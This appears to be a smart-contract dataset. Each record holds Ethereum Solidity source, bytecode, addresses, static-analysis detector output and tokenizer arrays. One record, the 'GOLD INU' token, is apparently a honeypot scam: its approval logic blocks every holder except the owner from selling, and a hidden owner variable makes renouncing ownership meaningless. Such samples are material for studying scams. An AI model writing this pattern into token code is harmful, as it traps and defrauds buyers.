Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102c260279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b6060833b6101945760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101af9190610242565b600060405180830381855af49150503d80600081146101ea576040519150601f19603f3d011682016040523d82523d6000602084013e6101ef565b606091505b50915091506101ff828286610209565b9695505050505050565b60608315610218575081610105565b8251156102285782518084602001fd5b8160405162461bcd60e51b815260040161018b919061025e565b60008251610254818460208701610291565b9190910192915050565b602081526000825180602084015261027d816040850160208701610291565b601f01601f19169190910160400192915050565b60005b838110156102ac578181015183820152602001610294565b838111156102bb576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220809bc55053e97045fcdf2bc367c626b8fd7429dea40f4f118382731974f6526264736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 27814, 8889, 14142, 2683, 2546, 22203, 18827, 3540, 2629, 2063, 2620, 2497, 2629, 2497, 19481, 2683, 2509, 2546, 26187, 26337, 20842, 2620, 22394, 2683, 2063, 2581, 7011, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1013, 1013, 1030, 2516, 1024, 2074, 5737, 8428, 2573, 1013, 1013, 1013, 1030, 3166, 1024, 19726, 1012, 1060, 2100, 2480, 12324, 1000, 1012, 1013, 9413, 2278, 2581, 17465, 16748, 8844, 1012, 14017, 1000, 1025, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,662
0x95807df4c6a2177ba79dc65947677949b363ae18
/* The First Ever Pirate King INU in Ethereum with GOLDINUSWAP and GOLDINU NFT Marketplace with more utility Coming Soon!! https://t.me/goldinueth */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract GOLDINU is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10**12* 10**18; string private _name = ' GOLD INU '; string private _symbol = 'GOLD'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122080e56013fdab4784fd09a13bb2ad115b6ba6dcc915a8a330f474f5dd01b6cb4a64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 27814, 2692, 2581, 20952, 2549, 2278, 2575, 2050, 17465, 2581, 2581, 3676, 2581, 2683, 16409, 26187, 2683, 22610, 2575, 2581, 2581, 2683, 26224, 2497, 21619, 2509, 6679, 15136, 1013, 1008, 1996, 2034, 2412, 11304, 2332, 1999, 2226, 1999, 28855, 14820, 2007, 2751, 13429, 4213, 2361, 1998, 2751, 2378, 2226, 1050, 6199, 18086, 2007, 2062, 9710, 2746, 2574, 999, 999, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 2751, 2378, 23361, 2232, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 2260, 1025, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,663
0x9580ac61bfbde7340af10f312cdd7e37a7a59d53
pragma solidity ^0.4.23; // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: zeppelin-solidity/contracts/token/ERC20/BurnableToken.sol /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); Burn(burner, _value); } } // File: contracts/CpublicgoldToken.sol /* * CpublicgoldToken is a standard ERC20 token with some additional functionalities: * - Transfers are only enabled after contract owner enables it (after the ICO) * - Contract sets 40% of the total supply as allowance for ICO contract * * Note: Token Offering == Initial Coin Offering(ICO) */ contract CpublicgoldToken is StandardToken, BurnableToken, Ownable { string public constant symbol = "CPGX"; string public constant name = "C Public Gold"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 12000000000 * (10 ** uint256(decimals)); uint256 public constant TOKEN_OFFERING_ALLOWANCE = 4800000000 * (10 ** uint256(decimals)); uint256 public constant ADMIN_ALLOWANCE = INITIAL_SUPPLY - TOKEN_OFFERING_ALLOWANCE; // Address of token admin address public adminAddr; // Address of token offering address public tokenOfferingAddr; // Enable transfers after conclusion of token offering bool public transferEnabled = true; /** * Check if transfer is allowed * * Permissions: * Owner Admin OfferingContract Others * transfer (before transferEnabled is true) x x x x * transferFrom (before transferEnabled is true) x o o x * transfer/transferFrom(after transferEnabled is true) o x x o */ modifier onlyWhenTransferAllowed() { require(transferEnabled || msg.sender == adminAddr || msg.sender == tokenOfferingAddr); _; } /** * Check if token offering address is set or not */ modifier onlyTokenOfferingAddrNotSet() { require(tokenOfferingAddr == address(0x0)); _; } /** * Check if address is a valid destination to transfer tokens to * - must not be zero address * - must not be the token address * - must not be the owner's address * - must not be the admin's address * - must not be the token offering contract address */ modifier validDestination(address to) { require(to != address(0x0)); require(to != address(this)); require(to != owner); require(to != address(adminAddr)); require(to != address(tokenOfferingAddr)); _; } /** * Token contract constructor * * @param admin Address of admin account */ function CpublicgoldToken(address admin) public { totalSupply_ = INITIAL_SUPPLY; // Mint tokens balances[msg.sender] = totalSupply_; Transfer(address(0x0), msg.sender, totalSupply_); // Approve allowance for admin account adminAddr = admin; approve(adminAddr, ADMIN_ALLOWANCE); } /** * Set token offering to approve allowance for offering contract to distribute tokens * * @param offeringAddr Address of token offering contract * @param amountForSale Amount of tokens for sale, set 0 to max out */ function setTokenOffering(address offeringAddr, uint256 amountForSale) external onlyOwner onlyTokenOfferingAddrNotSet { require(!transferEnabled); uint256 amount = (amountForSale == 0) ? TOKEN_OFFERING_ALLOWANCE : amountForSale; require(amount <= TOKEN_OFFERING_ALLOWANCE); approve(offeringAddr, amount); tokenOfferingAddr = offeringAddr; } /** * Enable transfers */ function enableTransfer() external onlyOwner { transferEnabled = true; // End the offering approve(tokenOfferingAddr, 0); } /** * Transfer from sender to another account * * @param to Destination address * @param value Amount of cpublicgoldtokens to send */ function transfer(address to, uint256 value) public onlyWhenTransferAllowed validDestination(to) returns (bool) { return super.transfer(to, value); } /** * Transfer from `from` account to `to` account using allowance in `from` account to the sender * * @param from Origin address * @param to Destination address * @param value Amount of cpublicgoldtokens to send */ function transferFrom(address from, address to, uint256 value) public onlyWhenTransferAllowed validDestination(to) returns (bool) { return super.transferFrom(from, to, value); } /** * Burn token, only owner is allowed to do this * * @param value Amount of tokens to burn */ function burn(uint256 value) public { require(transferEnabled || msg.sender == owner); super.burn(value); } }
